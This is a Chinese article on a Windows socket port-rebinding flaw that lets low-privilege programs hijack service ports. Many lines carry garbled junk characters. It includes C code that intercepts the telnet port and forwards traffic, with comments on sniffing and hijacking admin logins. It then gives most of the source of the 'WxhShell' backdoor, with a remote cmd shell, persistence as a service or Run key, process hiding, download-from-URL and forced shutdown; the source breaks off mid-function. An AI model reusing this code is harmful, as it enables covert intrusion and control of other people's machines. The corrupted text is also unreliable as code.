在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7eFFKl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:{KpnJvd Juk'eH2^s saddr.sin_family = AF_INET;
L /N%ft]!T dTwYDV}: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fK^;?4 A":cS }Ui bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
JEeXoGKd 7H,)heA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
< 7*9b ;2gO( 这意味着什么?意味着可以进行如下的攻击:
"_+8z_ p$Floubh] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+'[/eW p@d_Ru 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>YcaFnY .kfx\,lgm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VLbbn (L W2S;- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4S* X=1 8 9maN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!&{"tL@. "=2'O qp1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
VMu?mqEa m mH
xPd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+Ur75YPh Fj`K$K? #include
{_Fh3gjb/ #include
M>{*PHze0 #include
K d{o/R #include
xi)$t#K" DWORD WINAPI ClientThread(LPVOID lpParam);
7T(&DOGZ int main()
Uu9I;q!| {
sy(.p^Z WORD wVersionRequested;
]L
k- -\ DWORD ret;
A(n3<(O/{Z WSADATA wsaData;
qsYg%Z BOOL val;
Wo5%@C#M SOCKADDR_IN saddr;
H=mFc@fh SOCKADDR_IN scaddr;
p?4,YV|# int err;
LMLrH. SOCKET s;
1c*;Lr.K SOCKET sc;
zNg[%{mz int caddsize;
~,x4cOdR# HANDLE mt;
?kF?
~\c DWORD tid;
]\/"-Y#4Q wVersionRequested = MAKEWORD( 2, 2 );
3sl6$NKo err = WSAStartup( wVersionRequested, &wsaData );
\GZ|fmYn if ( err != 0 ) {
\0FwxsL printf("error!WSAStartup failed!\n");
tF.N return -1;
mp*?GeV?M }
O;0VKNn[' saddr.sin_family = AF_INET;
jcRe), @qB>qD~WsD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G(bl)p^ w,OPM}) il saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
PlwM3lrj saddr.sin_port = htons(23);
$dsLU5]1o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/RWD\u<l {
4rpry@1 printf("error!socket failed!\n");
S Erh"~[ return -1;
~G.MaSm }
WwxV}?Cf+ val = TRUE;
@c).&7 //SO_REUSEADDR选项就是可以实现端口重绑定的
UQbk%K2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
x4v&%d=M {
lWUQkS
printf("error!setsockopt failed!\n");
.dwbJT return -1;
6d3YLb4M$i }
.Y^pDR12 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&%u m#XE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$Xqc'4YOZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;/)$Cm &e _\{/#J;lN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
& u6ydN1xe {
9I''$DVf ret=GetLastError();
7R,;/3wWjG printf("error!bind failed!\n");
Uz%ynH return -1;
Zu94dFP }
q(v|@l|)yO listen(s,2);
bEmzigN[ while(1)
6NSSuK3 {
.eyJ<b9 caddsize = sizeof(scaddr);
;Nd'GA+1;( //接受连接请求
JkKbw&65 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sj6LrE=1 if(sc!=INVALID_SOCKET)
Qkc9X0J! {
Q
/t_%vb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}]^/`n if(mt==NULL)
;jBS:k? {
-vc
,O77z" printf("Thread Creat Failed!\n");
+x<OyjY5?] break;
L^K,YlNBR }
alBnN<UM }
3 Zwhv+CP[ CloseHandle(mt);
Q% ^_<u }
Hoi~(Vc. closesocket(s);
}'Ph^
%ox WSACleanup();
MeAY\V%G=o return 0;
n Q{~D5y,, }
/)<kG(Z DWORD WINAPI ClientThread(LPVOID lpParam)
.kJu17! {
>;%LW}
% SOCKET ss = (SOCKET)lpParam;
J|VDZ# c7 SOCKET sc;
Y' 5X4Ks| unsigned char buf[4096];
ja(ZJ[<` SOCKADDR_IN saddr;
n'%cO]nSx long num;
dV-6 l6 DWORD val;
T&}KUX~Q/ DWORD ret;
{XwDvLZ //如果是隐藏端口应用的话,可以在此处加一些判断
({D>(xN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tvJl&{-OX saddr.sin_family = AF_INET;
,k(B>O ~o saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fUZCP*7> saddr.sin_port = htons(23);
(0rcLNk{| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8G3.bi'q {
b`f6(6 printf("error!socket failed!\n");
lI@Z)~ return -1;
;Zn&Nc7 }
:)FNhx3 val = 100;
XXeDOrb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+]0hSpZ"p {
}9FWtXAU^1 ret = GetLastError();
L@f&71 return -1;
]v:"
}
fA=Lb^,M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KcW 5 {
Q5_ ,`r` ret = GetLastError();
r$ I k*R return -1;
_qh\
}
^s$U
n6v[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
==trl#kQ%% {
jc@=
b:r= printf("error!socket connect failed!\n");
k L4 # closesocket(sc);
Ds{bYK_y closesocket(ss);
,wy;7T>ODd return -1;
Y@qugQM> }
%4BQY>O)@ while(1)
5glEV`.je {
f lt'~fe //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4ywtE}mp //如果是嗅探内容的话,可以再此处进行内容分析和记录
dP#7ev]'
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>t.PU.OM num = recv(ss,buf,4096,0);
ad=7FhnIa3 if(num>0)
=`Ky N/ send(sc,buf,num,0);
=FdFLrx~l else if(num==0)
17w{hK4o8O break;
1&Ma`M(' num = recv(sc,buf,4096,0);
UWdqcOr if(num>0)
UF@. send(ss,buf,num,0);
, 10+Sh else if(num==0)
iTF%}( break;
yA7O<p+ }
M. _5mZ{ closesocket(ss);
llCE}Vdh closesocket(sc);
(&, E}{p9 return 0 ;
x}x )h3e }
)*7{%Ilq XjYMp3 }g[Hi` ==========================================================
<,H/7Ba !#E-p?O. 下边附上一个代码,,WXhSHELL
T~4HeEG>uH QD1&"T<.d. ==========================================================
IWwOP{ <ZQ t{B6W)q #include "stdafx.h"
F>E_d<m brLu~]I #include <stdio.h>
{n S(B #include <string.h>
i?)bF!J #include <windows.h>
?*<1B #include <winsock2.h>
w2^s}NO #include <winsvc.h>
6.a>7-K}% #include <urlmon.h>
^{NN- VRHS 4 #pragma comment (lib, "Ws2_32.lib")
x_l8&RIB* #pragma comment (lib, "urlmon.lib")
nppSrj? R/6
v#9m7 #define MAX_USER 100 // 最大客户端连接数
A}3E)Qo=G #define BUF_SOCK 200 // sock buffer
R1.Yx? #define KEY_BUFF 255 // 输入 buffer
8-smL^~%# y;O
6q206 #define REBOOT 0 // 重启
n"R$b: #define SHUTDOWN 1 // 关机
Lf{pTxKr P8tCzjrV #define DEF_PORT 5000 // 监听端口
<Zh\6*3:ab ]*0t?'go' #define REG_LEN 16 // 注册表键长度
,3)JZM #define SVC_LEN 80 // NT服务名长度
f,BJb+0 ] HRHF'4 // 从dll定义API
#X6=`Xe# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
m5hu;>gt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
EAF\7J* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z,VXH ?.Zo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[u-=<hnoa Q1H.2JXr // wxhshell配置信息
% 5BSXAc struct WSCFG {
Ysi@wK-LnF int ws_port; // 监听端口
P+3
]g{2w char ws_passstr[REG_LEN]; // 口令
DG3Mcf@5 int ws_autoins; // 安装标记, 1=yes 0=no
n9 Jev_!A char ws_regname[REG_LEN]; // 注册表键名
G)""^YB- char ws_svcname[REG_LEN]; // 服务名
~\%H0.P6 char ws_svcdisp[SVC_LEN]; // 服务显示名
U1kW1L}B char ws_svcdesc[SVC_LEN]; // 服务描述信息
nYj7r*e[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
q@4Cw&AI+ int ws_downexe; // 下载执行标记, 1=yes 0=no
FE06,i\{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~0vNs2D,S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
viVn R!rMrWX };
u4[JDB7tH XW{cC`&
// default Wxhshell configuration
#O'g*]j struct WSCFG wscfg={DEF_PORT,
YKx+z[A/p "xuhuanlingzhe",
\;"S>dg 1,
aecvz0}@R "Wxhshell",
EE qlsH "Wxhshell",
q"LT 8nD\ "WxhShell Service",
6-nf+!#G "Wrsky Windows CmdShell Service",
uYd_5
nw "Please Input Your Password: ",
g~OG~g@ 1,
uLN.b339 "
http://www.wrsky.com/wxhshell.exe",
LC0-O1 "Wxhshell.exe"
|J^I8gx+ };
nH[>Sff$ ZjnWbnW // 消息定义模块
Z,F1n/7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r&XxF> char *msg_ws_prompt="\n\r? for help\n\r#>";
zaE!=-U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*mN8Qd char *msg_ws_ext="\n\rExit.";
;47 =x1ji char *msg_ws_end="\n\rQuit.";
TQ5kT?/{ char *msg_ws_boot="\n\rReboot...";
5%DHF-W) char *msg_ws_poff="\n\rShutdown...";
8JO(P0aT char *msg_ws_down="\n\rSave to ";
wJ7Fnj>u% ASNo6dP7 char *msg_ws_err="\n\rErr!";
4_4|2L3 char *msg_ws_ok="\n\rOK!";
G2J4N2hu FWS!b!#,N char ExeFile[MAX_PATH];
Ej`G( int nUser = 0;
RLDu5 HANDLE handles[MAX_USER];
t1aKq)? int OsIsNt;
ay=f1<a #;'*W$Wk2 SERVICE_STATUS serviceStatus;
ck8Qs08 SERVICE_STATUS_HANDLE hServiceStatusHandle;
TG.\C8;vFh qmnW // 函数声明
r\}
O{ZO int Install(void);
1mx;b)4t int Uninstall(void);
J!zL)u| int DownloadFile(char *sURL, SOCKET wsh);
o1Wf#Zq int Boot(int flag);
-}Rh+n` void HideProc(void);
'gk^NAG2^E int GetOsVer(void);
N&u(9Fxn int Wxhshell(SOCKET wsl);
hud'@O"R+ void TalkWithClient(void *cs);
,9.NMFn int CmdShell(SOCKET sock);
0fR?zT? int StartFromService(void);
G<t_=j/r int StartWxhshell(LPSTR lpCmdLine);
z'EphL7r b28C( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AE%zqvp> VOID WINAPI NTServiceHandler( DWORD fdwControl );
' PmBNT (HeIO // 数据结构和表定义
:NWrbfz SERVICE_TABLE_ENTRY DispatchTable[] =
{d,^tG} {
Km0P)Z {wscfg.ws_svcname, NTServiceMain},
?:RWHe.P {NULL, NULL}
rrZ'Dz };
8p~|i97W]! By0Zz // 自我安装
8noo^QO int Install(void)
xllmF)]*Y {
75']fFO@! char svExeFile[MAX_PATH];
;B"S*wYMN HKEY key;
&F +hh{ strcpy(svExeFile,ExeFile);
{^K&9sz e73zpF // 如果是win9x系统,修改注册表设为自启动
iP?=5j=4 if(!OsIsNt) {
p2m`pT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Wt!NLlN8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
it=ir9 RegCloseKey(key);
o31pF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wpm $?X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4[K6 ZDBU RegCloseKey(key);
5VlF\- return 0;
V j_z"t7q }
d^XRkB:h }
)`m/vYKWL }
=,LhMy else {
`Zz;[<*< :D=y<n;S+ // 如果是NT以上系统,安装为系统服务
_ud!:q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y!CGuLHL`[ if (schSCManager!=0)
})ic@ Mmd$ {
.A<n2- SC_HANDLE schService = CreateService
':T6m=yv (
TfFH!1^+ schSCManager,
7p,!<X}% wscfg.ws_svcname,
m?<5-"hz wscfg.ws_svcdisp,
&$_#{?dPt SERVICE_ALL_ACCESS,
1=Q3WMT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
IZ+ZIR@}ci SERVICE_AUTO_START,
1${Cwb/F SERVICE_ERROR_NORMAL,
" G0HsXi svExeFile,
<:`x> _ NULL,
^g
n7DiIPH NULL,
u_ym=N57` NULL,
eHI7= [h NULL,
Jgf=yri NULL
gz"I=9 );
)Ft>X9$ if (schService!=0)
d##'0yg {
62J-)~_ CloseServiceHandle(schService);
BO-=X
78f@ CloseServiceHandle(schSCManager);
^2!l/(? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
l":Z. J strcat(svExeFile,wscfg.ws_svcname);
\-)augq([ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[+4--#&{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0D48L5kH#' RegCloseKey(key);
-8, lXrH return 0;
8E\6RjM }
P 4jg]g }
4 O~zkg CloseServiceHandle(schSCManager);
]_P!+5]< }
8w4cqr4m }
,W~a%8* 8{J{)gF return 1;
G+f@m, }
_#6ekl|% Y,C3E>}Dq // 自我卸载
s4Z5t$0| int Uninstall(void)
-<WQ>mrB& {
% wS5m#n HKEY key;
[|\BuUT' \^rAH@ if(!OsIsNt) {
<YBA
7i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*ZA.O RegDeleteValue(key,wscfg.ws_regname);
bcZ s+FOPd RegCloseKey(key);
0=Z_5.T> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D<*#. > RegDeleteValue(key,wscfg.ws_regname);
>gTrui{, RegCloseKey(key);
l*C(FPw4 return 0;
uWKc
. }
YDr/Cw>J }
gsp|?)]x }
! <xe Ao%8 else {
_,;|, QC*>
qo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
q!+m,
!M if (schSCManager!=0)
rZv5>aEI {
cA{zyq26 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
L|[0&u! if (schService!=0)
geRD2`3; {
.I&]G if(DeleteService(schService)!=0) {
_4jRUsvjY CloseServiceHandle(schService);
@I^LmB9* CloseServiceHandle(schSCManager);
<kr%ylhIu return 0;
rwUKg[
1N }
2,O;<9au< CloseServiceHandle(schService);
Lg[_9`\ }
h tn?iLq CloseServiceHandle(schSCManager);
]OKs65 }
RwC1C(ZP }
#(G#O1+ e8"?Qm7 J return 1;
GY%48}7 }
G&/RJLX|w >>C(y?g // 从指定url下载文件
HO(9)sK int DownloadFile(char *sURL, SOCKET wsh)
U^$o<2 {
*@2?_b}A
^ HRESULT hr;
Z@I.socA char seps[]= "/";
k6vY/)-S char *token;
v&GBu char *file;
8s_'tw/{ char myURL[MAX_PATH];
`kdP)lI
` char myFILE[MAX_PATH];
3tlA!e ."m2/Ks7 strcpy(myURL,sURL);
hDJ84$eVZ token=strtok(myURL,seps);
E%vG# while(token!=NULL)
_pv<_
Sm {
R8lBhLs file=token;
45;{tS.z,B token=strtok(NULL,seps);
CYZx/r< }
?=;dNS@i@ jJF(*D GetCurrentDirectory(MAX_PATH,myFILE);
Qr4c':8 strcat(myFILE, "\\");
Gdd lB2L)x strcat(myFILE, file);
{-(B send(wsh,myFILE,strlen(myFILE),0);
=gb.%a{R send(wsh,"...",3,0);
Ol9'ZB|R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
wtDy-H n if(hr==S_OK)
C1@6r%YD return 0;
<-:gaA`KM else
|3?q L return 1;
O)qedy*& p9[J9D3~ }
\)?[1b&[_ \?_eQKiZ3 // 系统电源模块
K 5SHt'P int Boot(int flag)
d&x1uso%L {
G:e9} HANDLE hToken;
%hzl3>(). TOKEN_PRIVILEGES tkp;
x7=5 ;gf/X rQ^$)%uP if(OsIsNt) {
Ub8|x]ix OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
DV(^h$1_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
XO*62>Ed tkp.PrivilegeCount = 1;
JR1/\F<} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
85<zl|ZD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
OE(Z)|LF if(flag==REBOOT) {
D<zgs2Ex if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3sf+u oV return 0;
>900O4 }
IGj%)_W else {
bojx:g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e{~s\G8g return 0;
ZlHN-!OZp }
=8?gx$r2 }
FL+^r6DQ else {
.FS`Fh; if(flag==REBOOT) {
:66xrw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_
FcfNF return 0;
{"dU?/d }
E.$1CGd+ else {
,nJYYM
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!biq7f%6# return 0;
<j93 }
uX-]z3+ }
lZ5 lmsCU opK=Z return 1;
H[ DrG6GA }
T.vkGB=QZ% 1'dL8Y // win9x进程隐藏模块
*7'}"@@ void HideProc(void)
`k} {
85P7I=`*d G'/36M@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!A(*?0` if ( hKernel != NULL )
;Zb+WGyj {
IiG~l+V~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^Tbw#x]2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
lS.*/u*5 FreeLibrary(hKernel);
<!#6c :(Q }
6>! ;g'k ho#]i$b}f2 return;
MXWCYi }
;Jex#+H(:D o7N3:) // 获取操作系统版本
J;pn5k~3 int GetOsVer(void)
K4Mv\! Q<8 {
d7+YCi?
OSVERSIONINFO winfo;
}xcEWC\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gw0b>E8gZ& GetVersionEx(&winfo);
w{J0K;L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^PY*INv return 1;
#WD}XOA else
fHek!Jv. return 0;
k\UDZ)TQV }
>y%*HC!G S&jZYq** // 客户端句柄模块
H@$\SUc{ int Wxhshell(SOCKET wsl)
a)'^'jm)4 {
v%|^\A"V SOCKET wsh;
v%(2l|M struct sockaddr_in client;
Z !Njfq5 DWORD myID;
-AUdBG {O-,JCq/ while(nUser<MAX_USER)
aZGX`;3 {
w,(e,8#: int nSize=sizeof(client);
zfDxc3e
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
J>(I"K% if(wsh==INVALID_SOCKET) return 1;
<S'5`-& EGYYSoBLU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{FO>^~>l if(handles[nUser]==0)
fS50 closesocket(wsh);
KUG\C\z6= else
l`x;Og>a nUser++;
nmlQ-V- }
: [o0Va2 d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k23*F0Dv sfSM7f return 0;
tSK{Abw1B }
.!T]sX_P R9X*R3nB // 关闭 socket
^&iUC&8W void CloseIt(SOCKET wsh)
+Z0@z^6\ {
)jbYWR*& closesocket(wsh);
N5u.V\F!z\ nUser--;
L4I1n l ExitThread(0);
zG|}| //} }
rtr0 d \;
Io // 客户端请求句柄
V
QE *B void TalkWithClient(void *cs)
4R5+"h: {
V:*QK, M#II,z>q SOCKET wsh=(SOCKET)cs;
KN>U6=WN char pwd[SVC_LEN];
\(Uw.ri char cmd[KEY_BUFF];
Ky33h 0TX char chr[1];
z}v6!u|iZu int i,j;
F%!ZHE7 ,>X
+tEgR while (nUser < MAX_USER) {
y>T:fu j8*fa if(wscfg.ws_passstr) {
qiQS:0|_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qSh^|;2?R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+qsNz*@p" //ZeroMemory(pwd,KEY_BUFF);
]r;-Lx{F i=0;
Gj]*_"T while(i<SVC_LEN) {
z-*/jFE .Cfi/ // 设置超时
n:cre}0. fd_set FdRead;
SXn\k;F< struct timeval TimeOut;
@l~zn%!X FD_ZERO(&FdRead);
T0xU} FD_SET(wsh,&FdRead);
*C*n (the TimeOut.tv_sec=8;
5\Sm^t|Tx TimeOut.tv_usec=0;
yrO\\No#H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%k(V 2]WF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fI@4 v\ X_Vj&{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
W%@L7 xh pwd
=chr[0]; jRP.Je@t
if(chr[0]==0xd || chr[0]==0xa) { ;`IZ&m$
pwd=0; c`
^I% i
break; J{"<Hgb
} YK Nz[x$|
i++; Jwzkd"D
} z>$AZ>t%J$
K@u\^6419
// 如果是非法用户,关闭 socket ;E0Xn-o_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S^;D\6(r
} A;E7~qOG
Qzbelt@Wx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !"{+|heU9p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p3Uus''V4
71i".1l{K
while(1) { )*_4=-8H
CCp&P5[67
ZeroMemory(cmd,KEY_BUFF); I9GRSm;0<
JR='c)6:
// 自动支持客户端 telnet标准 yM(zc/?
j=0; aKdi
while(j<KEY_BUFF) { |U}al[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V$O{s~@ti
cmd[j]=chr[0]; :_F$e
if(chr[0]==0xa || chr[0]==0xd) { L7i^?40
cmd[j]=0; 4OLq
break; QF 2Eg
} ln}2
j++; ^DZ(T+q,
} @&!HMl
,<]X0;~oB
// 下载文件 {bB;TO<b`
if(strstr(cmd,"http://")) { lTOO`g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S7SD$+fX
if(DownloadFile(cmd,wsh)) %j9'HtjEa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); noz&4"S.{
else 7U_~_yb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&FA~c
} _\M:h+^
else { z Qtg]@S
48
DC
switch(cmd[0]) { >% a^;gk(
'LY.7cW
// 帮助 ^b-o
case '?': { -DgJkyt+<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qH(3Z^ #.|
break; 871taL=
} J{Fu 8
// 安装 X.V6v4
case 'i': { lc%2fVG-e
if(Install()) JGjqBuz#A*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nRKh|B)
else 4?GW]'d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W|S{v7[l
break; &sJZSrk|
} M7rVH\:[-
// 卸载 Ic_>[E?k
case 'r': { (h;4irfX
if(Uninstall()) /$v0Rq9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `4V_I%lJ&
else $ K>.|\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y#-mj,e
break; % j4
} &HdzbKO=
// 显示 wxhshell 所在路径 Qp9)Rc5
case 'p': {
G-?y;V 1
char svExeFile[MAX_PATH]; E;7vGGf]
strcpy(svExeFile,"\n\r"); cTW3\S=
strcat(svExeFile,ExeFile); t)Q6A@$:
send(wsh,svExeFile,strlen(svExeFile),0); Ra%" +=
break; l*;Isz:
} =m{]Xep
// 重启 P9j[
NEV
case 'b': { 8.9TWsZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A1`y_
Aj
if(Boot(REBOOT)) 0Q]@T@F.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eq)8V x0
else { A|!u`^p
closesocket(wsh); |> mx*G
ExitThread(0); oZ%rzLH
} biZwxP3
break; uh`W} n
} cfn\De%.
// 关机 8sm8L\-
case 'd': { e RiP C
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v[efM8
if(Boot(SHUTDOWN)) 04eE\%?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5 \<.
else { G 2L?j
closesocket(wsh); L8"0o 0-
ExitThread(0); s?h=%;T[
} ~/0t<^
break; IBYRuaEB
} (7 i@@
// 获取shell ,'~8{,h5
case 's': { }%z {tn
CmdShell(wsh); px!lJtvgo
closesocket(wsh); yHS=8!
ExitThread(0); hq}kAv4B=
break; >0yx!Iao
} YcJZG|[
// 退出 |TCHPKN
case 'x': { 6|q\ M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qs24b
CloseIt(wsh); l (;~9u0sa
break; q'u^v PO
} o&tETJ5Bhe
// 离开 0OJBC~?{\
case 'q': { cB~D3a0Th
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lCmTm
closesocket(wsh); SyHS 9>
WSACleanup(); <w@z iUr
exit(1); :Osw4u]JXd
break; EyJWi<
} Eg&oAY.U
} #:E}Eby/6I
} <=fYz^|XT
w9QY2v,U
// 提示信息 nW1Obu8x|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O6nCu
} [T 8BQn!
} [ 0?*J<d
<=m@Sg{o
return; ySyA!Z
} @=@7Uu-
a`]Dmw8@
// shell模块句柄 BEn,py7
int CmdShell(SOCKET sock) Q
a(>$. h
{ N%8O9Dp8;
STARTUPINFO si; &j4 1<A
ZeroMemory(&si,sizeof(si)); ]xhZJ~"@u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !JZ)6mtlr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y7)s0g>%H
PROCESS_INFORMATION ProcessInfo; (8bo"{zI
char cmdline[]="cmd"; ivy+e-)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l/|bU9o /u
return 0; E1p?v!
} 2D,EWk/4
fTn
// 自身启动模式 eC+S'Jgf
int StartFromService(void) 2"Oj*
;
{ r*e<`Is
typedef struct 9 F"2$;
{ &O0@)jIV
DWORD ExitStatus; I)@b#V=
DWORD PebBaseAddress; x.d;7
